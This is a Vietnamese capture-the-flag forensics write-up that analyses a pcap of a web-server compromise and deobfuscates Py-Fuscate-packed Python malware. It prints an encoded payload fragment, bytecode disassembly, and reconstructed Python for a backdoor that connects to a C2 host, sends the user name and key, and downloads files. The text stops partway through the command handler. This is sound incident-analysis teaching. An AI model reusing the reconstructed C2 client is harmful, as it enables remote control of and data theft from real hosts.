Description
In the bustling town of Eastmarsh, Garrick Stoneforge’s workshop site once stood as a pinnacle of enchanted lock and toolmaking. But dark whispers now speak of a breach by a clandestine faction, hinting that Garrick’s prized designs may have been stolen. Scattered digital remnants cling to the compromised site, awaiting those who dare unravel them. Unmask these cunning adversaries threatening the peace of Eldoria. Investigate the incident, gather evidence, and expose Malakar as the mastermind behind this attack.
Các câu hỏi
- What is the IP address responsible for compromising the website?
- What is the name of the endpoint exploited by the attacker?
- What is the name of the obfuscation tool used by the attacker?
- What is the IP address and port (IP:PORT) used by the malware to establish a connection with the Command and Control (C2) server?
- What encryption key did the attacker use to secure the data?
- What is the MD5 hash of the file exfiltrated by the attacker?
Phân tích artifact và thought process
Đề bài cho 1 file pcap, tiến hành phân tích và tìm ra 1 số đặc điểm:
-
Có tổng cộng 6 stream, không có quá nhiều thứ để overthinking:

-
Về giao thức được sử dụng, chỉ có TCP thuần và HTTP:

-
Ở stream 3 HTTP, phát hiện có hành vi gửi code python và có thể backend đã thực thi:

-
Ngay sau đó, phát hiện các gói tin TCP thuần gửi dữ liệu về 1 server khác (nghi là C2):

-
Trong ảnh trên có một số thứ đáng chú ý:
- Output của lệnh whoami
- String "<SEPERATOR>"
- Một string không rõ nội dung, tuy nhiên length = 16 -> có thể là AES key hoặc key của một thuật toán mã hoá asymmetric nào đó.
- Sau đó là các dữ liệu dạng byte không thể đọc được
-
Như vậy có thể hiểu kịch bản của scenario này như sau:
- Phát hiện web server có chức năng exec code, gửi malware, server thực hiện
- Lúc này server đã nhiễm mã độc, connect ra bên ngoài và nhận lệnh từ C2, thực hiện
-
Việc của người chơi lúc này là tìm hiểu xem những lệnh gì, những file gì đã được exfil...
Solving
What is the IP address responsible for compromising the website?
Di chuyển đến TCP stream 3, đây là stream client gửi mã độc đến máy server, sau đó thoát ra luôn để apply filter tcp.stream eq 3:

Có được câu trả lời: 194.59.6.66
What is the name of the endpoint exploited by the attacker?

Câu trả lời: execute
Ngoài ra ta cũng lấy được địa chỉ IP public của web server thông qua header Host.
What is the name of the obfuscation tool used by the attacker?
Phân tích mã độc time!
Trước hết, cần unescape string mã độc được gửi qua HTTP bằng CyberChef (100% copy paste here):

Lúc này đã có đoạn code gốc.
Tip and trick phân tích mã độc: Với các đoạn code sử dụng nhiều lớp obfuscation thông qua các hàm
exec,eval, để tìm hiểu code gì được chạy, hãy thay thế hàm đấy bằng các hàm có chức năng in. Tuy nhiên, bạn vẫn cần phải hiểu code đấy làm gì và đảm bảo k có side effect nào có thể xảy ra. (nên chạy trong các môi trường ảo - must do khi phân tích mã độc)

Ở đây có hàm marshal.loads cũng là một hàm nguy hiểm nên mình sẽ thay nó thành print luôn:


Khi chạy code, có thể thấy ngay một số string tiết lộ các chức năng của malware:

- Có cụm
Py-Fuscaterất đáng chú ý, tiến hành search Github:

- Một số string đáng chú ý khớp với PCAP, đồng thời lộ ra Malware sử dụng AES mode CBC để mã hoá dữ liệu (khớp với các phán đoán ban đầu)
Đáp án: Py-Fuscate
What is the IP address and port (IP:PORT) used by the malware to establish a connection with the Command and Control (C2) server?
Câu này đáng lẽ ra mình có thể làm được ngay khi đọc PCAP, tuy nhiên mình lại overthinking dẫn đến phải reverse bytecode Python mới nhìn ra.
Câu này chỉ cần nhìn vào tcp stream 4 (ngay sau khi malicious Python được chạy), phát hiện được IP và Port của C2:
Thông qua file PCAP, đã biết IP của máy chủ kết thúc bằng ..47.152

Thấy có gói tin xuất phát từ 172.31.47.152 gửi đến 13.61.7.218, sau đó nhìn thấy port ở phần info là 55155.
Đáp án: 13.61.7.218:55155
What encryption key did the attacker use to secure the data?
Câu này thuần suy luận, lấy phần key đã dự đoán trong PCAP và submit là đúng.
Đáp án: 5UUfizsRsP7oOCAq
What is the MD5 hash of the file exfiltrated by the attacker?
Tiếp tục phân tích mã độc.
Lúc này, tiến hành search GitHub thêm 1 tí nữa, phát hiện tool deobsfuscate Py-Fuscate:

Tiến hành sử dụng ngay lập tức lên file đã thu thập được:
tee@teebow1e-vm:~/htb-safe-to-del/nofuscate$ python3 -V
Python 3.10.12
tee@teebow1e-vm:~/htb-safe-to-del/nofuscate$ python3 main.py
usage: NoFuscate [-h] -i INPUT -o OUTPUT [-f {disassembly,marshal,pyc}]
NoFuscate: error: the following arguments are required: -i/--input, -o/--output
tee@teebow1e-vm:~/htb-safe-to-del/nofuscate$ python3 -i mal.py -o deobs.txt -f disassembly
Traceback (most recent call last):
File "/home/tee/htb-safe-to-del/nofuscate/mal.py", line 2, in <module>
import marshal,lzma,gzip,bz2,binascii,zlib;exec(marshal.loads(bz2.decompress(b'BZh91AY&SY\x8d*w\x00\x00\n\xbb\x7f\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xee\xec\xe4\xec\xec\xc0?\xd9\xff\xfe\xf4"|\xf9`\r\xff\x1a\xb3\x03\xd1\xa0\x1e\xa9\x11\x07\xac\x9e\xef\x1e\xeez\xf5\xdb\xd9J\xde\xce\xa6K(\xe7\xd3\xe9\xcd\xa9\x93\rS@M\x134&\r\x11\x94xF\x11\xa6\x89\xb2\x99\xa6\x94\xf0\x1ai\xa1\xa6\x9a\x03AF\xd1\x1e\x9e\xa1\x9a\xa7\x89\
<REDACTED>
\xc3\xadN|z\x9bv\xf9\x98\x14\xca\xff\xe2\xeeH\xa7\n\x12\x11\xa5N\xe0\x00')))
ValueError: bad marshal data (unknown type code)
Vậy tại sao lại bị lỗi này? Chúng ta cần phải điểm qua 1 số công cụ decompile Python phổ biến và known bugs của họ:
-
PyInstxtractor

-
uncompyle6

- Thông qua đoạn text này có thể hiểu mỗi version Python đều có sự thay đổi rất lớn về syntax/opcodes.
Do vậy, quy tắc khi decompile Python: cần xác định đúng phiên bản Python mà đoạn mã bytecode này được tạo ra thì mới có thể decompile thành công.
Bài toán đặt ra lúc này là mình cần cài đặt thật nhiều phiên bản Python để tìm ra phiên bản chính xác, ở challenge này mình sử dụng pyenv-win để cài đặt nhiều phiên bản và switch giữa các phiên bản 1 cách dễ dàng:

Sau một hồi trial and error, mình xác định được Python 3.13 là phiên bản shellcode được tạo ra, thu thập được Python instruction code:

Các bạn nên đọc phần phân tích mã độc trước khi tiếp tục.
Trước hết, cần chuyển dữ liệu ở stream 4 sang dạng Hex (Raw):

Tiến hành phân tích traffic từ key đã tìm được từ câu 5 (5UUfizsRsP7oOCAq), thu được 1 số thông tin:






Sau khi kết thúc đoạn conversation này, client gửi 1 blob dữ liệu dài, là byte đã bị mã hoá của file trên, tiến hành lấy phần dữ liệu raw này về và giải mã bằng code sau:
import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
def dec_mes_from_file(filepath, key_str):
try:
# Check file size before reading
expected_size = 8504240
actual_size = os.path.getsize(filepath)
print(actual_size)
if actual_size != expected_size:
return f"Error: File size mismatch. Expected {expected_size}, got {actual_size}."
with open(filepath, 'rb') as f:
enc_data = f.read()
key = key_str.encode()
if len(key) != 16:
return "Error: Key must be exactly 16 bytes (16 ASCII characters)."
cypher = AES.new(key, AES.MODE_CBC, key) # Using key as IV (insecure but matching source logic)
decrypted = cypher.decrypt(enc_data)
# Không được decode trước khi write vào file
# GPT chủ động decode ở chỗ này, đến lúc 'wb' thì file bị hỏng cmnl
plaintext = unpad(decrypted, 16)
return plaintext
except Exception as e:
return f"Decryption failed: {e}"
# Example usage
if __name__ == "__main__":
filepath = "vicctim"
key = "5UUfizsRsP7oOCAq"
result = dec_mes_from_file(filepath, key)
with open('abc.pdf', 'wb') as ff:
ff.write(result)
Sau khi giải mã xong sẽ có 1 file pdf, lấy MD5 của file đó là ra đáp án:

Phân tích các instruction của mã độc
Tham khảo file disassembly tại đây.
Phase 1: thực hiện import các thư viện cần thiết
// Thực hiện import os.popen
0 RESUME 0
1 LOAD_CONST 0 (0)
LOAD_CONST 1 (('popen',))
IMPORT_NAME 0 (os)
IMPORT_FROM 1 (popen)
STORE_NAME 1 (popen)
POP_TOP
2 NOP
3 NOP
// import socket, threading, os, time, random, string, Crypto.Cipher.AES, Crypto.Util.Padding
7 L1: LOAD_CONST 0 (0)
LOAD_CONST 2 (None)
IMPORT_NAME 2 (socket)
STORE_NAME 2 (socket)
8 LOAD_CONST 0 (0)
LOAD_CONST 2 (None)
IMPORT_NAME 3 (threading)
STORE_NAME 3 (threading)
9 LOAD_CONST 0 (0)
LOAD_CONST 2 (None)
IMPORT_NAME 0 (os)
STORE_NAME 0 (os)
10 LOAD_CONST 0 (0)
LOAD_CONST 2 (None)
IMPORT_NAME 4 (time)
STORE_NAME 4 (time)
11 LOAD_CONST 0 (0)
LOAD_CONST 2 (None)
IMPORT_NAME 5 (random)
STORE_NAME 5 (random)
12 LOAD_CONST 0 (0)
LOAD_CONST 2 (None)
IMPORT_NAME 6 (string)
STORE_NAME 6 (string)
13 LOAD_CONST 0 (0)
LOAD_CONST 3 (('AES',))
IMPORT_NAME 7 (Crypto.Cipher)
IMPORT_FROM 8 (AES)
STORE_NAME 8 (AES)
POP_TOP
14 LOAD_CONST 0 (0)
LOAD_CONST 4 (('pad', 'unpad'))
IMPORT_NAME 9 (Crypto.Util.Padding)
IMPORT_FROM 10 (pad)
STORE_NAME 10 (pad)
IMPORT_FROM 11 (unpad)
STORE_NAME 11 (unpad)
POP_TOP
Phase 2: Lưu trữ các biến hằng (const)
// check current user os.popen('whoami')
17 LOAD_NAME 0 (os)
LOAD_ATTR 2 (popen)
PUSH_NULL
LOAD_CONST 5 ('whoami')
CALL 1
LOAD_ATTR 25 (read + NULL|self)
CALL 0
// lưu giá trị whoami vào biến user
STORE_NAME 13 (user)
// const BUFFER_SIZE = 4096
19 LOAD_CONST 6 (4096)
STORE_NAME 14 (BUFFER_SIZE)
// const SEPERATOR = "<SEPARATOR>"
20 LOAD_CONST 7 ('<SEPARATOR>')
STORE_NAME 15 (SEPARATOR)
// const CONN = True
21 LOAD_CONST 8 (True)
STORE_NAME 16 (CONN)
// thực hiện declare các hàm enc_mes (encrypt_message), dec_file_mes(decrypt_file_message), dec_mes(decrypt_message), receive_file và receive
23 LOAD_CONST 9 (<code object enc_mes at 0x00000000018C5E30, file "Py-Fuscate", line 23>)
MAKE_FUNCTION
STORE_NAME 17 (enc_mes)
33 LOAD_CONST 10 (<code object dec_file_mes at 0x0000000001A2C1C0, file "Py-Fuscate", line 33>)
MAKE_FUNCTION
STORE_NAME 18 (dec_file_mes)
40 LOAD_CONST 11 (<code object dec_mes at 0x0000000001902550, file "Py-Fuscate", line 40>)
MAKE_FUNCTION
STORE_NAME 19 (dec_mes)
51 LOAD_CONST 12 (<code object receive_file at 0x0000000001797920, file "Py-Fuscate", line 51>)
MAKE_FUNCTION
STORE_NAME 20 (receive_file)
80 LOAD_CONST 13 (<code object receive at 0x00000000017E8AA0, file "Py-Fuscate", line 80>)
MAKE_FUNCTION
STORE_NAME 21 (receive)
// if __name__ == "__main__": jump to L5 (main?)
163 LOAD_NAME 22 (__name__)
LOAD_CONST 14 ('__main__')
COMPARE_OP 88 (bool(==))
POP_JUMP_IF_FALSE 179 (to L5)
164 NOP
165 L2: NOP
Phase 3: Bắt đầu thực hiện establish connection đến C2
// client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
// client.connect(('13.61.7.218', 55155))
166 L3: LOAD_NAME 2 (socket)
LOAD_ATTR 4 (socket)
PUSH_NULL
LOAD_NAME 2 (socket)
LOAD_ATTR 46 (AF_INET)
LOAD_NAME 2 (socket)
LOAD_ATTR 48 (SOCK_STREAM)
CALL 2
STORE_NAME 25 (client)
167 LOAD_NAME 25 (client)
LOAD_ATTR 53 (connect + NULL|self)
LOAD_CONST 15 (('13.61.7.218', 55155))
CALL 1
POP_TOP
// Generate encryption key (khoá k)
// Đoạn này sử dụng một đối tượng genexpr tại địa chỉ 0x0000000001A34480
168 LOAD_CONST 16 ('')
LOAD_ATTR 55 (join + NULL|self)
LOAD_CONST 17 (<code object <genexpr> at 0x0000000001A34480, file "Py-Fuscate", line 168>)
MAKE_FUNCTION
LOAD_NAME 28 (range)
PUSH_NULL
LOAD_CONST 18 (16)
CALL 1
GET_ITER
CALL 0
CALL 1
STORE_NAME 29 (k)
// Gửi bước đầu, gửi đi user + SEPERATOR + k
// client.send((str(user) + str(SEPARATOR) + str(k)).encode())
169 LOAD_NAME 25 (client)
LOAD_ATTR 61 (send + NULL|self)
LOAD_NAME 13 (user)
FORMAT_SIMPLE
LOAD_NAME 15 (SEPARATOR)
FORMAT_SIMPLE
LOAD_NAME 29 (k)
FORMAT_SIMPLE
BUILD_STRING 3
LOAD_ATTR 63 (encode + NULL|self)
CALL 0
CALL 1
POP_TOP
// set timeout = 600
170 LOAD_NAME 25 (client)
LOAD_ATTR 65 (settimeout + NULL|self)
LOAD_CONST 19 (600)
CALL 1
POP_TOP
171 L4: NOP
// Xử lý các connection đến bằng thread
174 LOAD_NAME 3 (threading)
LOAD_ATTR 68 (Thread)
PUSH_NULL
LOAD_NAME 21 (receive)
LOAD_NAME 25 (client)
LOAD_NAME 29 (k)
BUILD_TUPLE 2
LOAD_CONST 21 (('target', 'args'))
CALL_KW 2
STORE_NAME 35 (receive_thread)
175 LOAD_NAME 35 (receive_thread)
LOAD_ATTR 73 (start + NULL|self)
CALL 0
POP_TOP
RETURN_CONST 2 (None)
163 L5: RETURN_CONST 2 (None)
-- L6: PUSH_EXC_INFO
5 POP_TOP
6 L7: POP_EXCEPT
EXTENDED_ARG 1
JUMP_BACKWARD_NO_INTERRUPT 282 (to L1)
-- L8: COPY 3
POP_EXCEPT
RERAISE 1
L9: PUSH_EXC_INFO
172 POP_TOP
173 LOAD_NAME 4 (time)
LOAD_ATTR 66 (sleep)
PUSH_NULL
LOAD_CONST 20 (50)
CALL 1
POP_TOP
L10: POP_EXCEPT
JUMP_FORWARD 3 (to L12)
-- L11: COPY 3
POP_EXCEPT
RERAISE 1
164 L12: JUMP_BACKWARD 214 (to L2)
Python code của đoạn này sẽ như sau:
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('13.61.7.218', 55155))
k = ''.join(str(i) for i in range(16))
client.send((str(user) + str(SEPARATOR) + str(k)).encode())
client.settimeout(600)
receive_thread = threading.Thread(target=receive, args=(client, k))
receive_thread.start()
Tiếp tục phân tích các generator được sử dụng để sinh key (khoá mã hoá):
Disassembly of <code object <genexpr> at 0x0000000001A341A0, file "Py-Fuscate", line 155>:
155 RETURN_GENERATOR
POP_TOP
L1: RESUME 0
LOAD_FAST 0 (.0)
GET_ITER
L2: FOR_ITER 72 (to L3)
STORE_FAST 1 (_)
LOAD_GLOBAL 0 (random)
LOAD_ATTR 2 (SystemRandom)
PUSH_NULL
CALL 0
LOAD_ATTR 5 (choice + NULL|self)
LOAD_GLOBAL 6 (string)
LOAD_ATTR 8 (ascii_letters)
LOAD_GLOBAL 6 (string)
LOAD_ATTR 10 (digits)
BINARY_OP 0 (+)
CALL 1
YIELD_VALUE 0
RESUME 5
POP_TOP
JUMP_BACKWARD 74 (to L2)
L3: END_FOR
POP_TOP
RETURN_CONST 0 (None)
-- L4: CALL_INTRINSIC_1 3 (INTRINSIC_STOPITERATION_ERROR)
RERAISE 1
ExceptionTable:
L1 to L4 -> L4 [0] lasti
Disassembly of <code object <genexpr> at 0x0000000001A34480, file "Py-Fuscate", line 168>:
168 RETURN_GENERATOR
POP_TOP
L1: RESUME 0
LOAD_FAST 0 (.0)
GET_ITER
L2: FOR_ITER 72 (to L3)
STORE_FAST 1 (_)
LOAD_GLOBAL 0 (random)
LOAD_ATTR 2 (SystemRandom)
PUSH_NULL
CALL 0
LOAD_ATTR 5 (choice + NULL|self)
LOAD_GLOBAL 6 (string)
LOAD_ATTR 8 (ascii_letters)
LOAD_GLOBAL 6 (string)
LOAD_ATTR 10 (digits)
BINARY_OP 0 (+)
CALL 1
YIELD_VALUE 0
RESUME 5
POP_TOP
JUMP_BACKWARD 74 (to L2)
L3: END_FOR
POP_TOP
RETURN_CONST 0 (None)
-- L4: CALL_INTRINSIC_1 3 (INTRINSIC_STOPITERATION_ERROR)
RERAISE 1
ExceptionTable:
L1 to L4 -> L4 [0] lasti
Đoạn này đơn giản là:
random.choice(string.ascii_letters + string.digits)
Kết hợp với dữ kiện k = ''.join(str(i) for i in range(16)) ở trên, thì có thể hiểu key là 16 ký tự ngẫu nhiên bao gồm chữ ASCII + số.
Phân tích các hàm chức năng
Hàm mã hoá tin nhắn (enc_mes):
Disassembly of <code object enc_mes at 0x00000000018C5E30, file "Py-Fuscate", line 23>:
23 RESUME 0
24 NOP
// AES.new()
25 L1: LOAD_GLOBAL 0 (AES)
LOAD_ATTR 2 (new)
PUSH_NULL
// param 1: AES key = key.encode()
LOAD_FAST 1 (key)
LOAD_ATTR 5 (encode + NULL|self)
CALL 0
// param 2: AES mode = AES.MODE_CBC
LOAD_GLOBAL 0 (AES)
LOAD_ATTR 6 (MODE_CBC)
// param 3: IV = key.encode()
LOAD_FAST 1 (key)
LOAD_ATTR 5 (encode + NULL|self)
CALL 0
CALL 3
STORE_FAST 2 (cypher)
// cypher block = 16 - set block size AES = 16
26 LOAD_CONST 1 (16)
STORE_FAST 3 (cypher_block)
// check types, nếu không phải bytes thì sẽ thực hiện encode (nếu đk được thoả mãn - POP_JUMP_IF_FALSE, thì nhảy đến L2 - thực hiện mã hoá)
27 LOAD_GLOBAL 9 (type + NULL)
LOAD_FAST 0 (mes)
CALL 1
LOAD_GLOBAL 10 (bytes)
COMPARE_OP 119 (bool(!=))
POP_JUMP_IF_FALSE 16 (to L2)
// nếu không thoả mãn điều kiện trên, tiến thành mes.encode()
28 LOAD_FAST 0 (mes)
LOAD_ATTR 5 (encode + NULL|self)
CALL 0
STORE_FAST 0 (mes)
// mã hoá và pad dữ liệu
29 L2: LOAD_FAST 2 (cypher)
LOAD_ATTR 13 (encrypt + NULL|self)
LOAD_GLOBAL 15 (pad + NULL)
LOAD_FAST_LOAD_FAST 3 (mes, cypher_block)
CALL 2
CALL 1
L3: RETURN_VALUE
-- L4: PUSH_EXC_INFO
30 POP_TOP
31 L5: POP_EXCEPT
RETURN_CONST 0 (None)
-- L6: COPY 3
POP_EXCEPT
RERAISE 1
Code python của hàm này sẽ là:
def enc_mes(mes, key):
try:
cypher = AES.new(key.encode(), AES.MODE_CBC, key.encode())
cypher_block = 16
# If message is not bytes, encode it
if type(mes) != bytes:
mes = mes.encode()
encrypted = cypher.encrypt(pad(mes, cypher_block))
return encrypted
except:
return None
Hàm giải mã tin nhắn (dec_mes):
Disassembly of <code object dec_mes at 0x0000000001902550, file "Py-Fuscate", line 40>:
40 RESUME 0
41 LOAD_FAST 0 (mes)
LOAD_CONST 1 (b'')
COMPARE_OP 88 (bool(==))
POP_JUMP_IF_FALSE 2 (to L1)
42 LOAD_FAST 0 (mes)
RETURN_VALUE
44 L1: NOP
45 L2: LOAD_GLOBAL 0 (AES)
LOAD_ATTR 2 (new)
PUSH_NULL
LOAD_FAST 1 (key)
LOAD_ATTR 5 (encode + NULL|self)
CALL 0
LOAD_GLOBAL 0 (AES)
LOAD_ATTR 6 (MODE_CBC)
LOAD_FAST 1 (key)
LOAD_ATTR 5 (encode + NULL|self)
CALL 0
CALL 3
STORE_FAST 2 (cypher)
46 LOAD_CONST 2 (16)
STORE_FAST 3 (cypher_block)
47 LOAD_FAST 2 (cypher)
LOAD_ATTR 9 (decrypt + NULL|self)
LOAD_FAST 0 (mes)
CALL 1
STORE_FAST 4 (v)
48 LOAD_GLOBAL 11 (unpad + NULL)
LOAD_FAST_LOAD_FAST 67 (v, cypher_block)
CALL 2
L3: RETURN_VALUE
-- L4: PUSH_EXC_INFO
49 POP_TOP
50 L5: POP_EXCEPT
RETURN_CONST 3 ('echo Try it againg')
-- L6: COPY 3
POP_EXCEPT
RERAISE 1
Không có gì nhiều để phân tích, biết key rồi thì làm ngược lại thôi, đây là Python code tương ứng:
def dec_mes(mes, key):
if mes == b'':
return mes
try:
cypher = AES.new(key.encode(), AES.MODE_CBC, key.encode())
cypher_block = 16
v = cypher.decrypt(mes)
return unpad(v, cypher_block)
except:
return "echo Try it againg"
Hàm giải mã tin nhắn file: Tương tự hàm trên, chỉ có điều là không thực hiện check nếu tin nhắn rỗng.
Hàm nhận file (receive_file):
Disassembly of <code object receive_file at 0x0000000001797920, file "Py-Fuscate", line 51>:
51 RESUME 0
52 NOP
// Tiến hành connect đến một C2 khác ở cổng 54163
53 L1: LOAD_GLOBAL 0 (socket)
LOAD_ATTR 0 (socket)
PUSH_NULL
LOAD_GLOBAL 0 (socket)
LOAD_ATTR 2 (AF_INET)
LOAD_GLOBAL 0 (socket)
LOAD_ATTR 4 (SOCK_STREAM)
CALL 2
STORE_FAST 0 (client2)
54 LOAD_FAST 0 (client2)
LOAD_ATTR 7 (connect + NULL|self)
LOAD_CONST 1 (('13.61.7.218', 54163))
CALL 1
POP_TOP
// Sinh key, logic tương tự
55 LOAD_CONST 2 ('')
LOAD_ATTR 9 (join + NULL|self)
LOAD_CONST 3 (<code object <genexpr> at 0x000000000154FE00, file "Py-Fuscate", line 55>)
MAKE_FUNCTION
LOAD_GLOBAL 11 (range + NULL)
LOAD_CONST 4 (16)
CALL 1
GET_ITER
CALL 0
CALL 1
STORE_FAST 1 (k)
// Note: ở đây đặt tên biến là client2 (khác với client ở trên), và chỉ gửi đi khoá k
56 LOAD_FAST 0 (client2)
LOAD_ATTR 13 (send + NULL|self)
LOAD_FAST 1 (k)
LOAD_ATTR 15 (encode + NULL|self)
CALL 0
CALL 1
POP_TOP
57 NOP
// Nhận 4096 byte từ remote C2
58 LOAD_FAST 0 (client2)
LOAD_ATTR 17 (recv + NULL|self)
LOAD_GLOBAL 18 (BUFFER_SIZE)
CALL 1
// Lưu tất cả dữ liệu nhận được vào biến enc_received
STORE_FAST 2 (enc_received)
// Gọi dec_mes(enc_received, k)
59 LOAD_GLOBAL 21 (dec_mes + NULL)
LOAD_FAST_LOAD_FAST 33 (enc_received, k)
CALL 2
// Sau đó decode dữ liệu
LOAD_ATTR 23 (decode + NULL|self)
CALL 0
// Lưu vào biến received
STORE_FAST 3 (received)
// filename, filesize = received.split(SEPERATOR)
61 LOAD_FAST 3 (received)
LOAD_ATTR 25 (split + NULL|self)
LOAD_GLOBAL 26 (SEPARATOR)
CALL 1
UNPACK_SEQUENCE 2
STORE_FAST_STORE_FAST 69 (filename, filesize)
// client2.send(ok_enc) với ok_enc = enc_mess("ok2", k) --> Ý tưởng là confirm với C2 là tao đã nhận được thông tin
// Toàn bộ đoạn code trên chưa hề nhận file, chỉ nhận filename và filesize
63 LOAD_GLOBAL 29 (enc_mes + NULL)
LOAD_CONST 5 ('ok2')
LOAD_FAST 1 (k)
CALL 2
STORE_FAST 6 (ok_enc)
64 LOAD_FAST 0 (client2)
LOAD_ATTR 13 (send + NULL|self)
LOAD_FAST 6 (ok_enc)
CALL 1
POP_TOP
// tạo biến counter để đếm số lượng byte đã nhận
65 LOAD_CONST 6 (0)
STORE_FAST 7 (total_bytes)
// biến msg chứa dữ liệu dạng byte
66 LOAD_CONST 7 (b'')
STORE_FAST 8 (msg)
// so sánh nếu total_bytes nhỏ hơn int(filesize) thì sẽ tiếp tục nhận dữ liệu từ client2, không thì nhảy L4
67 LOAD_FAST 7 (total_bytes)
LOAD_GLOBAL 31 (int + NULL)
LOAD_FAST 5 (filesize)
CALL 1
COMPARE_OP 18 (bool(<))
POP_JUMP_IF_FALSE 56 (to L4)
68 L2: LOAD_FAST 0 (client2)
LOAD_ATTR 17 (recv + NULL|self)
LOAD_GLOBAL 18 (BUFFER_SIZE)
CALL 1
STORE_FAST 9 (bytes_read)
// msg += msg mới nhận từ client2
69 LOAD_FAST_LOAD_FAST 137 (msg, bytes_read)
BINARY_OP 13 (+=)
STORE_FAST 8 (msg)
// total_bytes += len(bytes_read)
70 LOAD_FAST 7 (total_bytes)
LOAD_GLOBAL 33 (len + NULL)
LOAD_FAST 9 (bytes_read)
CALL 1
BINARY_OP 13 (+=)
STORE_FAST 7 (total_bytes)
// tiếp tục check xem đã chạm filesize chưa, nếu chưa lại lặp (vòng for)
67 LOAD_FAST 7 (total_bytes)
LOAD_GLOBAL 31 (int + NULL)
LOAD_FAST 5 (filesize)
CALL 1
COMPARE_OP 18 (bool(<))
POP_JUMP_IF_FALSE 2 (to L4)
L3: JUMP_BACKWARD 56 (to L2)
// giải mã tin nhắn, lưu vào decr_file
71 L4: LOAD_GLOBAL 21 (dec_mes + NULL)
LOAD_FAST_LOAD_FAST 129 (msg, k)
CALL 2
STORE_FAST 10 (decr_file)
// lưu file và ghi file lên hệ thống
72 LOAD_GLOBAL 35 (open + NULL)
LOAD_FAST 4 (filename)
LOAD_CONST 8 ('wb')
CALL 2
BEFORE_WITH
L5: STORE_FAST 11 (f)
73 LOAD_FAST 11 (f)
LOAD_ATTR 37 (write + NULL|self)
LOAD_FAST 10 (decr_file)
CALL 1
POP_TOP
72 L6: LOAD_CONST 0 (None)
LOAD_CONST 0 (None)
LOAD_CONST 0 (None)
CALL 2
POP_TOP
74 L7: NOP
// đóng kết nối
76 LOAD_FAST 0 (client2)
LOAD_ATTR 39 (close + NULL|self)
CALL 0
POP_TOP
L8: RETURN_CONST 0 (None)
72 L9: PUSH_EXC_INFO
WITH_EXCEPT_START
TO_BOOL
POP_JUMP_IF_TRUE 1 (to L10)
RERAISE 2
L10: POP_TOP
L11: POP_EXCEPT
POP_TOP
POP_TOP
JUMP_BACKWARD_NO_INTERRUPT 32 (to L7)
-- L12: COPY 3
POP_EXCEPT
RERAISE 1
L13: PUSH_EXC_INFO
77 POP_TOP
// exception handling
78 LOAD_FAST_CHECK 0 (client2)
LOAD_ATTR 13 (send + NULL|self)
LOAD_CONST 9 ('Error transporting file')
LOAD_ATTR 15 (encode + NULL|self)
CALL 0
CALL 1
POP_TOP
L14: POP_EXCEPT
RETURN_CONST 0 (None)
-- L15: COPY 3
POP_EXCEPT
RERAISE 1
Code python tương ứng của hàm này là:
def receive_file():
client2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client2.connect(("13.61.7.218", 54163))
k = ''.join(random.SystemRandom().choice(string.ascii_letters + string.digits) for _ in range(16))
client2.send(k.encode())
enc_received = client2.recv(BUFFER_SIZE)
received = dec_mes(enc_received, k).decode()
filename, filesize = received.split(SEPARATOR)
ok_enc = enc_mes("ok2", k)
client2.send(ok_enc)
total_bytes = 0
msg = b''
while total_bytes < int(filesize):
bytes_read = client2.recv(BUFFER_SIZE)
msg += bytes_read
total_bytes += len(bytes_read)
decr_file = dec_mes(msg, k)
with open(filename, 'wb') as f:
f.write(decr_file)
client2.close()
Hàm nhận dữ liệu và phản ứng chính (receive):
Disassembly of <code object receive at 0x00000000017E8AA0, file "Py-Fuscate", line 80>:
80 RESUME 0
81 NOP
82 L1: NOP
// message = None
83 L2: LOAD_CONST 0 (None)
STORE_FAST 2 (message)
// tiến hành nhận dữ liệu từ remote C2, giải mã, decode, sau đó lưu vào biến message -> đây là lệnh từ server C2
84 LOAD_FAST 0 (client)
LOAD_ATTR 1 (recv + NULL|self)
LOAD_CONST 1 (1024)
CALL 1
STORE_FAST 3 (msg)
85 LOAD_GLOBAL 3 (dec_mes + NULL)
LOAD_FAST_LOAD_FAST 49 (msg, k)
CALL 2
STORE_FAST 3 (msg)
86 LOAD_FAST 3 (msg)
LOAD_ATTR 5 (decode + NULL|self)
CALL 0
STORE_FAST 2 (message)
// check xem nếu msg rỗng, thì sleep 10s, không thì sẽ nhảy đến hàm xử lý logic
87 LOAD_FAST 3 (msg)
LOAD_CONST 2 (b'')
COMPARE_OP 88 (bool(==))
POP_JUMP_IF_FALSE 79 (to L7)
88 LOAD_GLOBAL 6 (time)
LOAD_ATTR 8 (sleep)
PUSH_NULL
LOAD_CONST 3 (10)
CALL 1
POP_TOP
// Đoạn sau luồng sẽ hơi khó hiểu, mình sẽ chỉ giải thích instruction, các bạn từ chạy đến label để hiểu luồng của chương trình
// s=0
89 LOAD_CONST 4 (0)
STORE_FAST 4 (s)
// check msg == b'', nếu không (có msg) nhảy đến L6
90 LOAD_FAST 3 (msg)
LOAD_CONST 2 (b'')
COMPARE_OP 88 (bool(==))
POP_JUMP_IF_FALSE 47 (to L6)
// s+=1
91 L3: LOAD_FAST 4 (s)
LOAD_CONST 5 (1)
BINARY_OP 13 (+=)
STORE_FAST 4 (s)
// nhận dữ liệu
92 LOAD_FAST 0 (client)
LOAD_ATTR 1 (recv + NULL|self)
LOAD_CONST 1 (1024)
CALL 1
STORE_FAST 3 (msg)
// nếu s==300 -> Exception -> có thể hiểu là nếu phát hiện msg rỗng từ ban đầu, tiến hành đợi 10s, sau đó gửi tin nhắn liên tục lại trong 300s tiếp theo, nễu vẫn không nhận được -> Phía server có vấn đề, cần reconnect lại để kiểm tra
93 LOAD_FAST 4 (s)
LOAD_CONST 6 (300)
COMPARE_OP 88 (bool(==))
POP_JUMP_IF_FALSE 11 (to L4)
94 LOAD_GLOBAL 11 (Exception + NULL)
LOAD_CONST 7 ('Reconnect!')
CALL 1
RAISE_VARARGS 1
90 L4: LOAD_FAST 3 (msg)
LOAD_CONST 2 (b'')
COMPARE_OP 88 (bool(==))
POP_JUMP_IF_FALSE 2 (to L6)
L5: JUMP_BACKWARD 47 (to L3)
-- L6: EXTENDED_ARG 1
JUMP_FORWARD 510 (to L23)
// Trường hợp 1: msg == b'check' (chức năng check health), nếu không phải thì sẽ nhảy xuống L9 (có thể hình dung đây là if, elif, else - lý do là vì L9 lại bắt đầu bằng lệnh kiểm tra điều kiện)
95 L7: LOAD_FAST 2 (message)
LOAD_CONST 8 ('check')
COMPARE_OP 88 (bool(==))
